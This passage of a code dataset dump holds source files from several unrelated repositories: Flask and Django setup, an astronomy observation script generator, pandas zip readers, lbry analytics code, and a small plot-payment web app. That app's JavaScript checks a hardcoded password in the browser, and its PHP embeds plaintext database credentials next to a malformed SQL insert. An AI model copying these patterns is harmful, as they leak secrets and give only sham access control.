flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom flask_cache import Cache\nfrom flask_mail import Mail\nfrom flask_login import LoginManager\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom flask_images import Images\nfrom flask_redis import FlaskRedis\nfrom flask_plugins import PluginManager\nfrom flask_misaka import Misaka\nfrom flask_socketio import SocketIO\n# from flask_session import Session\n\n# ------------------------- Inisialize Database object ---------------------- #\n\ndb = SQLAlchemy()\n\n# ------------------------- Inisialize Database object ---------------------- #\n\nmigrate = Migrate()\n\n# ------------------------- Inisialize Cache object ------------------------- #\n\ncache = Cache()\n\n# ------------------------- Inisialize Mail object -------------------------- #\n\nmail = Mail()\n\n# ------------------------- Inisialize Login object ------------------------- #\n\nlogin_manager = LoginManager()\n\n# ------------------------- Inisialize DebugToolbar object ------------------ #\n\ntoolbar = DebugToolbarExtension()\n\n# ------------------------- Inisialize Images object ------------------------ #\n\nimages = Images()\n\n# ------------------------- Inisialize SocketIO object ---------------------- #\n\nsocketio = SocketIO()\n\n# ------------------------- Inisialize Redis object ------------------------- #\n\nredis = FlaskRedis()\n\n# ------------------------- Inisialize PluginManager object ----------------- #\n\nplugin_manager = PluginManager()\n\n# ------------------------- Inisialize Misaka object ----------------- #\n\nmisaka = Misaka(tables=True, highlight=True)\n\n# ------------------------- Inisialize Session object ----------------------- #\n\"\"\"\n Flask-Session save session data on server with many options: filesystem,\n Redis, Sqlite, ...\n\"\"\"\n# session = Session()\n\n# ------------------------------------ X ------------------------------------ #\n" } ]
112
griffinfoster/artemis
https://github.com/griffinfoster/artemis
fc9dd1a5282dd388e49a63c4a0cf981f025d76da
bf445b7d2dc9127676503a4efd633d3492e6139a
3567127e47a287d6dad427c075ad384ef20df379
refs/heads/master
2020-04-25T18:08:17.019014
2019-04-16T08:26:52
2019-04-16T08:26:52
172,974,535
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6469648480415344, "alphanum_fraction": 0.6576905250549316, "avg_line_length": 41.125, "blob_id": "c37538fc6934037c762f3ca6dc6dfe9a3bff489e", "content_id": "5c6fd245203dd6607e55cc3330d83651224e4cb1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4382, "license_type": "permissive", "max_line_length": 276, "num_lines": 104, "path": "/scripts/generateObsScripts.py", "repo_name": "griffinfoster/artemis", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nfrom jinja2 import Environment, FileSystemLoader\nimport yaml\nimport os\nimport datetime\nimport numpy as np\n\n# HARDCODE\nLUMPTEMPLATE = 'LuMP_recorder.j2'\nLCUTEMPLATE = 'beamctl.j2'\nDATADIRROOT = '/local_data/ARTEMIS/'\n\nif __name__== \"__main__\":\n import argparse\n parser = argparse.ArgumentParser(\n description='''Generate an LCU beamctl script and LuMP recorder scripts from ARTEMIS3 YAML config files''')\n parser.add_argument('-o', '--obsConfigFile', help='YAML observation config file (required)')\n parser.add_argument('-s', '--srcConfigFile', help='YAML source config file (required)')\n parser.add_argument('-d', '--start_date', default=None, help='Start date and time to begin observation, if not used the observation begins when the script begins, which is not ideal when capturing all lanes, use the format: YYYY-MM-DDThh:mm:ssZ e.g. 2019-02-26T10:30:00Z')\n parser.add_argument('--templateDir', help='jinja2 template dir', default='../templates')\n parser.add_argument('-v', '--verbose', help='Verbose mode', action='store_true')\n parser.add_argument('--dry_run', help='Do not write scripts, just test out the generator script, useful with the -v option', action='store_true')\n parser.add_argument('--duration', help='Number of seconds to capture, default: 60', default=60)\n args = parser.parse_args()\n\n if args.obsConfigFile is None:\n print('ERROR: Observation config file is not set but is required, exiting')\n exit(1)\n if args.srcConfigFile is None:\n print('ERROR: Source config file is not set but is required, exiting')\n exit(1)\n obsConfigDict = yaml.load(open(args.obsConfigFile))\n srcConfigDict = yaml.load(open(args.srcConfigFile))\n\n # Useful variables\n dt = datetime.datetime.now()\n dataPath = dt.strftime('%Y%m%d_%H%M%S')\n generatorStartTime = str(dt)\n arrayMode = obsConfigDict['beamctl']['antennaset'].split('_')[0]\n decRad = srcConfigDict['DECJD'] * np.pi / 180.\n raRad = srcConfigDict['RAJD'] * np.pi / 180.\n dirStr = '%f.6,%f.6,J2000'%(raRad,decRad)\n\n # Generate LuMP scripts\n lumpDict = obsConfigDict['LuMP']\n\n lumpDict['generator_script'] = os.path.basename(__file__)\n lumpDict['generator_datetime'] = generatorStartTime\n lumpDict['anadir'] = dirStr\n lumpDict['digdir'] = dirStr\n lumpDict['duration'] = args.duration\n lumpDict['datadir'] = DATADIRROOT + '%s_%s'%(dataPath, srcConfigDict['NAME'])\n\n if not (args.start_date is None):\n lumpDict['opt_arg'] = '--start_date=%s'%args.start_date\n \n # build a config dict for each lane\n configBase = lumpDict.copy()\n configBase.pop('lane', None)\n\n configBase['sourcename_array'] = '[%s]*%i'%(srcConfigDict['NAME'], lumpDict['beamlets_per_lane'])\n configBase['rightascension_array'] = '[%f.6]*%i'%(raRad, lumpDict['beamlets_per_lane'])\n configBase['declination_array'] = '[%f.6]*%i'%(decRad, lumpDict['beamlets_per_lane'])\n configBase['epoch_array'] = '[J2000]*%i'%(lumpDict['beamlets_per_lane'])\n \n for lane in lumpDict['lane']:\n configLane = {**configBase, **lane}\n configLane['filename_base'] = '%s_lane%i'%(srcConfigDict['NAME'], lane['id'])\n \n #Load Jinja2 template\n env = Environment(loader = FileSystemLoader(args.templateDir), trim_blocks=True, lstrip_blocks=True)\n templateLuMP = env.get_template(LUMPTEMPLATE)\n renderText = templateLuMP.render(configLane)\n \n if args.verbose: print(renderText)\n\n outputFn = '%s_%s_lane%i.sh'%(srcConfigDict['NAME'], arrayMode, lane['id'])\n\n if not args.dry_run:\n print('Writing ' + outputFn)\n fh = open(outputFn,'w')\n fh.write(renderText)\n fh.close()\n\n # Generate LCU script\n lcuDict = obsConfigDict['beamctl']\n lcuDict['generator_script'] = os.path.basename(__file__)\n lcuDict['generator_datetime'] = generatorStartTime\n lcuDict['anadir'] = dirStr\n lcuDict['digdir'] = dirStr\n\n #Load Jinja2 template\n templateLCU = env.get_template(LCUTEMPLATE)\n renderText = templateLCU.render(lcuDict)\n \n if args.verbose: print(renderText)\n\n outputFn = '%s_%s_LCU.sh'%(srcConfigDict['NAME'], arrayMode)\n if not args.dry_run:\n print('Writing ' + outputFn)\n fh = open(outputFn,'w')\n fh.write(renderText)\n fh.close()\n\n" } ]
1
eldrad294/DjangoCookbook
https://github.com/eldrad294/DjangoCookbook
c2e8713b587aa19929db508b704e15b613fbfbc1
142f79501395b25fdc35aa4357b68601e962bc92
79cc2c5227693a0bd8785b4b1842ac057403a267
refs/heads/main
2023-07-26T05:49:18.725844
2021-09-05T16:21:53
2021-09-05T16:21:53
403,265,389
0
0
null
2021-09-05T09:21:55
2021-09-05T13:00:57
2021-09-05T16:21:53
Python
[ { "alpha_fraction": 0.7460567951202393, "alphanum_fraction": 0.7507886290550232, "avg_line_length": 19.45161247253418, "blob_id": "0c3f9c124abb5e0385d52b45ecc6810c2eb04ca3", "content_id": "a1888fc01d8b5243cdb86ce598708c6fc677cb2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 634, "license_type": "no_license", "max_line_length": 83, "num_lines": 31, "path": "/README.md", "repo_name": "eldrad294/DjangoCookbook", "src_encoding": "UTF-8", "text": "# Django Cooking!\n\n## Setting up a Python virtual environment\n\nThrough cmd, run\n\n* pip install \n* cd DjangoCookbook\n* pipenv install django==3.2.7\n* pipenv shell\n\n## Creating the project structure\n\nThrough cmd, run\n\n* django-admin startproject DjangoCookbook . \n\n## Booting up the project\n\n* python manage.py runserver\n\n## Creating an app within the project\n\n* python manage.py startapp pages\n* Go to settings.py and add the app under INSTALLED_APPS\n\n## Adding a view\n\n* Add view logic inside of views.py\n* Create a url.py file under the app (pages)\n* Add the urlpatterns list structure and route the view to the url regex expression\n" }, { "alpha_fraction": 0.7488986849784851, "alphanum_fraction": 0.757709264755249, "avg_line_length": 27.5, "blob_id": "24bca71be4b1ad31d5c9f7de8e07ea90d73f9d28", "content_id": "7b6fc0efbfcb96fcd0f4f29d099cb63d70490276", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 227, "license_type": "no_license", "max_line_length": 42, "num_lines": 8, "path": "/posts/views.py", "repo_name": "eldrad294/DjangoCookbook", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.views.generic import ListView\nfrom .models import Post\n\nclass HomePageView2(ListView):\n model = Post\n template_name = 'home2.html'\n context_object_name = 'all_posts_list'" }, { "alpha_fraction": 0.6596858501434326, "alphanum_fraction": 0.6910994648933411, "avg_line_length": 26.428571701049805, "blob_id": "5f5b28727ba135d59947f19e85d462e7a3ecaefa", "content_id": "fdc0b5c6ef0471c8175dc0d00703a4ffc3c19551", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 191, "license_type": "no_license", "max_line_length": 57, "num_lines": 7, "path": "/posts/urls.py", "repo_name": "eldrad294/DjangoCookbook", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom .views import HomePageView2\n\nurlpatterns = [\n path('', HomePageView2.as_view(), name='home2'),\n path('home2/', HomePageView2.as_view(), name='home2')\n]" } ]
3
Jeezus101/jeezus101.github.io
https://github.com/Jeezus101/jeezus101.github.io
d0b8f0bdf07e8754895d4f8b551644226a6dd700
06d8f8de0dab33bda64df980ed013cb518c23088
aeb2027014a82ec4a32fdfd399ec84a73bccb637
refs/heads/master
2018-11-07T12:56:53.281256
2018-09-02T21:18:01
2018-09-02T21:18:01
116,399,579
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5317640900611877, "alphanum_fraction": 0.5376487970352173, "avg_line_length": 26.492647171020508, "blob_id": "11431d3624afbad1d8a63fd9ff6e79134028e8eb", "content_id": "c4aab75c10b7e0017407b32f1eb239b20bff841c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 7479, "license_type": "no_license", "max_line_length": 88, "num_lines": 272, "path": "/JavaScript.js", "repo_name": "Jeezus101/jeezus101.github.io", "src_encoding": "UTF-8", "text": "๏ปฟ// Initialization process\nfunction intialize() {\n // Debugging initialize\n // localStorage.initialize = true;\n if (localStorage.initialize == null || localStorage.initialize == \"true\") {\n localStorage.initialize = false;\n\n // Declare arrays\n var plotArr = new Array([]);\n var payArr = new Array([]);\n for (i = 1; i < 172; i++) {\n plotArr.push([i, , , , payArr]);\n }\n localStorage.setObj(1, plotArr);\n }\n}\n\n\n//--------------------------------------------------------------------------------------\n// Javascript to go to new page\nfunction loginPrompt() {\n // Prompt to confirm admin\n \tvar password = prompt(\"Please enter password\", \"\");\n \t\n \t// Checking if right password entered\n \tif (passwordCheck(password)) {\n \t\talert(\"Right password\");\n \t\n \t\n \t\n \t} else {\n \t\talert(\"Wrong password\");\n \t}\n\n}\n\n\n\n\n\n//--------------------------------------------------------------------------------------\n// Javascript to go to new page\nfunction gotoPlotPage() {\n var plot = arguments[0];\n localStorage.plot = plot; \n window.location.href = \"PlotPage.html\";\n}\n\n\n\n//--------------------------------------------------------------------------------------\n// Set details of plot page\nfunction setDetails() {\n // Set currently selected plot number \n var plot = localStorage.plot;\n document.getElementById(\"titleplot\").innerHTML = \"Plot \" + plot;\n document.getElementById(\"plot\").innerHTML = plot;\n\n\n // Get plot info array\n var plotArr = new Array([]);\n plotArr = localStorage.getObj(1);\n\n // Get array of current plot info\n var tempArr = new Array([]);\n tempArr = plotArr[plot];\n\n // Get array of payment table\n var payArr = new Array([]);\n payArr = tempArr[4];\n\n // Set payment table details\n var table = document.getElementById('PayTable');\n\n payArr.forEach(function (rowData) {\n var row = document.createElement('tr');\n rowData.forEach(function (cellData) {\n var cell = document.createElement('td');\n cell.appendChild(document.createTextNode(cellData));\n row.appendChild(cell);\n });\n table.appendChild(row);\n });\n\n // Set table headings to be non-editables\n //iterate through rows\n var row = document.getElementById(\"tableHeads\")\n row.contentEditable = \"false\";\n\n\n // Set plot info input object\n var price = document.getElementById(\"inputprice\");\n var buyer = document.getElementById(\"inputbuyer\");\n var notes = document.getElementById(\"inputnote\");\n\n // Set plot info input values (if any)\n if (tempArr[1] != \"\" && tempArr[1] != null) price.value = tempArr[1];\n if (tempArr[2] != \"\" && tempArr[2] != null) buyer.value = tempArr[2];\n if (tempArr[3] != \"\" && tempArr[3] != null) notes.value = tempArr[3];\n\n\n\n // Get table input objects\n var date = document.getElementById(\"inputdate\");\n var payment = document.getElementById(\"inputpayment\");\n var paynotes = document.getElementById(\"inputpaynote\");\n\n // Clear table input textboxes\n date.value = \"\";\n payment.value = \"\";\n paynotes.value = \"\";\n\n\n}\n\n//--------------------------------------------------------------------------------------\n// Dynamic 'Notes' textbox \nfunction Expand(obj) {\n if (!obj.savesize) obj.savesize = obj.size;\n obj.size = Math.max(obj.savesize, obj.value.length);\n if (!obj.savesize) obj.savesize = obj.size;\n obj.size = Math.max(obj.savesize, obj.value.length);\n}\n\n\n//--------------------------------------------------------------------------------------\n// Add payment\nfunction addPay() {\n // Get table input objects\n var date = document.getElementById(\"inputdate\");\n var payment = document.getElementById(\"inputpayment\");\n var notes = document.getElementById(\"inputpaynote\");\n\n if (date.value != \"\" && payment.value != \"\") {\n // Get table object\n var table = document.getElementById(\"PayTable\");\n // Get new row object\n var row = table.insertRow();\n // Get each cells of new row\n var cell1 = row.insertCell(0);\n var cell2 = row.insertCell(1);\n var cell3 = row.insertCell(2);\n\n // Insert values into cells\n cell1.innerHTML = date.value;\n cell2.innerHTML = payment.value;\n if (notes.value != \"\") {\n cell3.innerHTML = notes.value;\n } else {\n cell3.innerHTML = \"N/A\";\n }\n // Clear table input textboxes\n date.value = \"\";\n payment.value = \"\";\n notes.value = \"\";\n\n\n var plotArr = new Array([]);\n } else if (date.value == \"\") {\n alert(\"Please enter date of payment\")\n } else if (payment.value == \"\") {\n alert(\"Please enter amount of payment\")\n } else {\n alert(\"No payment information entered\")\n }\n}\n\n\n//--------------------------------------------------------------------------------------\n// Save plot info to persistence\nfunction savePlot() {\n \t// Prompt to confirm admin\n \tvar password = prompt(\"Please enter password\", \"\");\n\t\n \tif (passwordCheck(password)) {\n // Get plot info \n var plot = localStorage.plot;\n var price = document.getElementById(\"inputprice\");\n var buyer = document.getElementById(\"inputbuyer\");\n var notes = document.getElementById(\"inputnote\");\n\n\n // Get plots info array\n var plotArr = new Array([]);\n plotArr = localStorage.getObj(1);\n\n // Get array of current plot info\n var tempArr = new Array([]);\n tempArr = plotArr[plot];\n\n\n // Save plot info\n tempArr[1] = price.value;\n tempArr[2] = buyer.value;\n tempArr[3] = notes.value;\n\n\n\n // Get array of payment table\n var payArr = new Array([]);\n payArr = tempArr[4];\n\n // Get payment table info\n var payArr = new Array([]);\n var table = document.getElementById(\"PayTable\");\n var temppayArr, count = 0;\n //iterate through rows\n for (var i = 1, row; row = table.rows[i]; i++) {\n temppayArr = new Array([]);\n count = 0;\n //iterate through columns\n for (var j = 0, col; col = row.cells[j]; j++) {\n if (col.innerHTML == \"\") count++;\n temppayArr[j] = col.innerHTML;\n col.contentEditable = true;\n }\n if (count != 3 && temppayArr.length != 1) payArr[i - 1] = temppayArr;\n }\n\n\n // Update plot array\n tempArr[4] = payArr;\n plotArr[plot] = tempArr;\n\n // Save to local storage\n localStorage.setObj(1, plotArr);\n\n tempArr[0] = tempArr[0].toString();\n\n\t\n\t\talert(\"Hello\");\n \n\t\t// Go back to main page\n \t\twindow.location.href = \"index.html\";\n\n\t\t// If cancel clicked\n\t\t} else if(password == null){\n\t\t\n\t // If incorrect password\n \t} else { \n \talert(\"Incorrect password\");\n \t}\n \n \n \n\t\n \n}\n\n//--------------------------------------------------------------------------------------\n\n// Returns true if correct password\nfunction passwordCheck() {\n var enteredPassword = arguments[0];\n if (enteredPassword == \"394dha\") {\n return true;\n } else {\n return false;\n }\n}\n\n\n\n\n//--------------------------------------------------------------------------------------\n// Functions to handle arrays in localStorage\nStorage.prototype.setObj = function (key, obj) {\n return this.setItem(key, JSON.stringify(obj))\n}\nStorage.prototype.getObj = function (key) {\n return JSON.parse(this.getItem(key))\n}" }, { "alpha_fraction": 0.7241379022598267, "alphanum_fraction": 0.7241379022598267, "avg_line_length": 29, "blob_id": "2cb11e12c2f659901d4c928cd5b766caddd52ca7", "content_id": "7c3362cd6615e6a2ecffa6e147272f523c810cb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29, "license_type": "no_license", "max_line_length": 29, "num_lines": 1, "path": "/UserGrant.py", "repo_name": "Jeezus101/jeezus101.github.io", "src_encoding": "UTF-8", "text": "SELECT USER(),CURRENT_USER();" }, { "alpha_fraction": 0.4140722155570984, "alphanum_fraction": 0.4196762144565582, "avg_line_length": 27.696428298950195, "blob_id": "d72d2ef054cf9b05ee3bb81e0484bece0debd135", "content_id": "b48c0aaa1ecb6c12423133fa25fb9fd738dc7ee8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 1606, "license_type": "no_license", "max_line_length": 86, "num_lines": 56, "path": "/PHP.php", "repo_name": "Jeezus101/jeezus101.github.io", "src_encoding": "UTF-8", "text": "<?php\n\n echo \"Hello\";\n\n header('Content-Type: application/json');\n\n $aResult = array();\n\n if( !isset($_POST['functionname']) ) { $aResult['error'] = 'No function name!'; }\n\n if( !isset($_POST['arguments']) ) { $aResult['error'] = 'No function arguments!'; }\n \n switch($_POST['functionname']) {\n \n // Code to write to the database\n case 'write':\n \n $servername = \"den1.mysql6.gear.host\";\n $username = \"colonyplot\";\n $password = \"Ij56w_?F9kHR\";\n $dbname = \"Colony_DB\";\n\n // Create connection\n $conn = new mysqli($servername, $username, $password, $dbname);\n // Check connection\n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n } \n\n $sql = \"INSERT INTO Payment Details (Plot No., Date, Payment, Note)\n VALUES (1, '24th April', '3000', 'Hello')\";\n\n if ($conn->query($sql) === TRUE) {\n echo \"New record created successfully\";\n } else {\n echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n }\n\n $conn->close();\n \n break;\n \n \n \n // Code to read from the database \n case 'read':\n \n break;\n \n default:\n $aResult['error'] = 'Not found function '.$_POST['functionname'].'!';\n break;\n } \n \n \n?>" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.8095238208770752, "avg_line_length": 21, "blob_id": "10ef09dc22f671dc0bd57b9f52a2958d495afca1", "content_id": "49c976b7520f059a32f2d5ccb88a988775405824", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 21, "license_type": "no_license", "max_line_length": 21, "num_lines": 1, "path": "/README.md", "repo_name": "Jeezus101/jeezus101.github.io", "src_encoding": "UTF-8", "text": "# jeezus101.github.io" } ]
4
hung135/pandas_read_zipfile
https://github.com/hung135/pandas_read_zipfile
a5db3205e0521a57d745368761cdac213f85e853
1c6109eb5a9cbb904bd185479c97cf9f4ac34262
c22dcc00e7a766212fa7f2750bc279f5ce50b3ad
refs/heads/master
2020-04-01T20:30:10.702785
2018-10-22T15:45:41
2018-10-22T15:45:41
153,607,028
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5798319578170776, "alphanum_fraction": 0.5935828685760498, "avg_line_length": 28.08888816833496, "blob_id": "e49cec5197e5e5b12c609e0de9cba8be7abbd51c", "content_id": "bb403939c61574b725e13e1e6921fa8cece0bcc0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1309, "license_type": "no_license", "max_line_length": 123, "num_lines": 45, "path": "/read_sas7bdat.py", "repo_name": "hung135/pandas_read_zipfile", "src_encoding": "UTF-8", "text": "\nimport zipfile\nimport os\nimport datetime as dt\nimport pandas\nimport io\nimport psutil\n\nprint(\"memory\", psutil.virtual_memory())\n\nwith open('/Users/hnguyen/Desktop/pum2013/unix_pus.zip') as archive:\n # zip.write('/Users/hnguyen/Desktop/pum2013/csv_hvt.zip','test')\n print(\"xxx1\")\n x = zipfile.ZipFile(archive)\n\n print(\"xxx2\")\n t={}\n t[\"filename\"]=\"\"\n t[\"size\"]=0\n for y in x.infolist():\n assert isinstance(y,zipfile.ZipInfo)\n print(y.filename,y.file_size)\n if y.file_size>t[\"size\"]:\n t[\"filename\"]=y.filename\n t[\"size\"]=y.file_size\n print(t)\n with io.BufferedReader(x.open(t[\"filename\"],'r')) as xfile:\n #with x.read(t[\"filename\"], 'r') as xfile:\n #print(t.datetime.now())\n #print(type(xfile))\n\n #print(type(x),len(x),len(y))\n #print(io.StringIO(x))\n #x=xfile.read()\n #zz=io.BytesIO(x.read(t[\"filename\"]))\n #zz=io.BytesIO(xfile.read())\n print('reading')\n zz=xfile.read()\n print(\"memory\",psutil.virtual_memory())\n print(\"file_type\",type(zz))\n df = pandas.read_sas(io.BytesIO(\"\".join(zz)), format='sas7bdat', encoding='iso-8859-1', chunksize=1, iterator=True)\n print(df)\n print(dt.datetime.now())\n\n\n print(\"memory\",psutil.virtual_memory())" }, { "alpha_fraction": 0.6105169057846069, "alphanum_fraction": 0.6221033930778503, "avg_line_length": 23.413043975830078, "blob_id": "e30b0c6a485a772da8451d6e18ca59acf4652c97", "content_id": "56e69a15ba3b41790ceb3a2a5232621602e7668c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1122, "license_type": "no_license", "max_line_length": 63, "num_lines": 46, "path": "/add_to_zipfile.py", "repo_name": "hung135/pandas_read_zipfile", "src_encoding": "UTF-8", "text": "import zipfile\nimport os\nimport datetime as t\nimport pandas\nimport io\n\ndir_path=\"/Users/hnguyen/Desktop/pum2013\"\n\nx=os.listdir(dir_path)\nprint(type(x))\nfor i in x:\n pass\n #print(i)\n\nzip=zipfile.ZipFile('/Users/hnguyen/Desktop/csv_pus.zip','a')\nfor item in zip.infolist():\n assert isinstance(item,zipfile.ZipInfo)\n #print(item.filename,item.file_size)\nzip.close()\nwith open('/Users/hnguyen/Desktop/csv_pus.zip') as archive:\n#zip.write('/Users/hnguyen/Desktop/pum2013/csv_hvt.zip','test')\n print(\"xxx1\")\n x=zipfile.ZipFile(archive)\n print(\"xxx2\")\n #with io.BufferedReader(x.open('test','r')) as xfile:\n with x.open('ss13pusa.csv','r') as xfile:\n print(t.datetime.now())\n #x=io.BytesIO(xfile.readline())\n\n df = pandas.read_csv(xfile,chunksize=5)\n print(type(df))\n\n print(t.datetime.now())\n #print(x)\n print(type(x))\n\n assert isinstance(df,pandas.io.parsers.TextFileReader)\n print(type(df))\n print(df,\"xxxx\")\n for a in df:\n print(type(a))\n print(a)\n break\n\n\n print(t.datetime.now())" }, { "alpha_fraction": 0.5469223260879517, "alphanum_fraction": 0.5554994940757751, "avg_line_length": 29.507692337036133, "blob_id": "e982dd1719658aaa2132547fc4576486c9a7ea88", "content_id": "ff7e9275bd4dc88ea15ffc8cad147f595f47f7c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1982, "license_type": "no_license", "max_line_length": 80, "num_lines": 65, "path": "/count_column_from_zip.py", "repo_name": "hung135/pandas_read_zipfile", "src_encoding": "UTF-8", "text": "import zipfile\nimport os\nimport datetime as t\nimport pandas\nimport io\nimport re\n\ndir_path=\"/Volumes/500gb/2011_ACSSF_By_State_By_Sequence_Table_Subset/\"\nre_data_file= re.compile(r'^.*\\.csv$')\nx=os.listdir(dir_path)\ncolumn_counts=set()\nprint(type(x))\nfor i in x:\n\n print(i)\n dir=os.path.join(dir_path,i)\n if os.path.isdir(dir):\n sub=os.listdir(dir)\n for ii in sub:\n print(ii)\n zip=zipfile.ZipFile('/Users/hnguyen/Desktop/csv_pus.zip','a')\n for item in zip.infolist():\n assert isinstance(item,zipfile.ZipInfo)\n if re_data_file.search(item.filename):\n print(item.filename)\n with zip.open(item.filename,'r') as data_file:\n df = pandas.read_csv(data_file,chunksize=1)\n assert isinstance(df,pandas.io.parsers.TextFileReader)\n for chunk in df:\n assert isinstance(chunk,pandas.core.frame.DataFrame)\n #print(\"\\t\"+str(len(chunk.columns.values)))\n x.append(len(chunk.columns.values))\n break\n zip.close()\nprint(column_counts)\n\n\"\"\"\nwith open('/Users/hnguyen/Desktop/csv_pus.zip') as archive:\n#zip.write('/Users/hnguyen/Desktop/pum2013/csv_hvt.zip','test')\n print(\"xxx1\")\n x=zipfile.ZipFile(archive)\n print(\"xxx2\")\n #with io.BufferedReader(x.open('test','r')) as xfile:\n with x.open('ss13pusa.csv','r') as xfile:\n print(t.datetime.now())\n #x=io.BytesIO(xfile.readline())\n\n df = pandas.read_csv(xfile,chunksize=5)\n print(type(df))\n\n print(t.datetime.now())\n #print(x)\n print(type(x))\n\n assert isinstance(df,pandas.io.parsers.TextFileReader)\n print(type(df))\n print(df,\"xxxx\")\n for a in df:\n print(type(a))\n print(a)\n break\n\n\n print(t.datetime.now())\n\"\"\"" } ]
3
le-dit-gaga/lbry
https://github.com/le-dit-gaga/lbry
78ea83a73636646a7af995abb4d75470a8fbf00a
7abfbc4c5fb38884f3b72897af58699746f09771
d54b736096f22009da26edf8f85bf1be1b712c81
refs/heads/master
2019-01-28T15:38:40.508028
2017-03-27T19:11:23
2017-03-27T19:11:23
86,380,118
1
0
null
2017-03-27T20:18:46
2017-03-27T20:09:13
2017-03-27T19:11:33
null
[ { "alpha_fraction": 0.6030820608139038, "alphanum_fraction": 0.6043315529823303, "avg_line_length": 28.64197540283203, "blob_id": "71db5ea6c575c36b6f410f36bd00725c0158c8eb", "content_id": "ec3d70f124ee18cb577493efbbe1901d506c8f1c", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2401, "license_type": "permissive", "max_line_length": 84, "num_lines": 81, "path": "/lbrynet/analytics/api.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import functools\nimport json\nimport logging\n\nfrom requests import auth\nfrom txrequests import Session\n\nfrom lbrynet import conf\nfrom lbrynet.analytics import utils\n\nlog = logging.getLogger(__name__)\n\n\ndef log_response(fn):\n def _log_error(failure):\n log.warning('Failed to send an analytics event. %s', failure.getTraceback())\n\n @functools.wraps(fn)\n def wrapper(*args, **kwargs):\n d = fn(*args, **kwargs)\n d.addErrback(_log_error)\n return d\n\n return wrapper\n\n\nclass Api(object):\n def __init__(self, session, url, write_key):\n self.session = session\n self.url = url\n self.write_key = write_key\n\n def post(self, endpoint, data):\n # there is an issue with a timing condition with keep-alive\n # that is best explained here: https://github.com/mikem23/keepalive-race\n #\n # If you make a request, wait just the right amount of time,\n # then make another request, the requests module may opt to\n # reuse the connection, but by the time the server gets it the\n # timeout will have expired.\n #\n # by forcing the connection to close, we will disable the keep-alive.\n assert endpoint[0] == '/'\n headers = {\"Connection\": \"close\"}\n return self.session.post(\n self.url + endpoint, json=data, auth=self.auth, headers=headers)\n\n @property\n def auth(self):\n return auth.HTTPBasicAuth(self.write_key, '')\n\n @log_response\n def batch(self, events):\n \"\"\"Send multiple events in one request.\n\n Each event needs to have its type specified.\n \"\"\"\n data = json.dumps({\n 'batch': events,\n 'sentAt': utils.now(),\n })\n log.debug('sending %s events', len(events))\n log.debug('Data: %s', data)\n return self.post('/batch', data)\n\n @log_response\n def track(self, event):\n \"\"\"Send a single tracking event\"\"\"\n log.debug('Sending track event: %s', event)\n return self.post('/track', event)\n\n @classmethod\n def new_instance(cls, session=None):\n \"\"\"Initialize an instance using values from the configuration\"\"\"\n if not session:\n session = Session()\n return cls(\n session,\n conf.settings['ANALYTICS_ENDPOINT'],\n utils.deobfuscate(conf.settings['ANALYTICS_TOKEN'])\n )\n" }, { "alpha_fraction": 0.5800642967224121, "alphanum_fraction": 0.6083601117134094, "avg_line_length": 39.921051025390625, "blob_id": "f85cdf4975ab1cb674aee1deaf08143e41fb05cf", "content_id": "ac5ae41908ec1fe693f77d975f435f065c5d6a5d", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1555, "license_type": "permissive", "max_line_length": 126, "num_lines": 38, "path": "/tests/unit/lbrynet_daemon/test_DaemonCLI.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "from twisted.trial import unittest\nfrom lbrynet.lbrynet_daemon import DaemonCLI\n\n\nclass DaemonCLITests(unittest.TestCase):\n def test_guess_type(self):\n self.assertEqual('0.3.8', DaemonCLI.guess_type('0.3.8'))\n self.assertEqual(0.3, DaemonCLI.guess_type('0.3'))\n self.assertEqual(3, DaemonCLI.guess_type('3'))\n self.assertEqual('VdNmakxFORPSyfCprAD/eDDPk5TY9QYtSA==', DaemonCLI.guess_type('VdNmakxFORPSyfCprAD/eDDPk5TY9QYtSA=='))\n self.assertEqual(0.3, DaemonCLI.guess_type('0.3'))\n self.assertEqual(True, DaemonCLI.guess_type('TRUE'))\n self.assertEqual(True, DaemonCLI.guess_type('true'))\n self.assertEqual(True, DaemonCLI.guess_type('True'))\n self.assertEqual(False, DaemonCLI.guess_type('FALSE'))\n self.assertEqual(False, DaemonCLI.guess_type('false'))\n self.assertEqual(False, DaemonCLI.guess_type('False'))\n\n def test_get_params(self):\n test_params = [\n 'b64address=VdNmakxFORPSyfCprAD/eDDPk5TY9QYtSA==',\n 'name=test',\n 'amount=5.3',\n 'n=5',\n 'address=bY13xeAjLrsjP4KGETwStK2a9UgKgXVTXu',\n 't=true',\n 'f=False',\n ]\n test_r = {\n 'b64address': 'VdNmakxFORPSyfCprAD/eDDPk5TY9QYtSA==',\n 'name': 'test',\n 'amount': 5.3,\n 'n': 5,\n 'address': 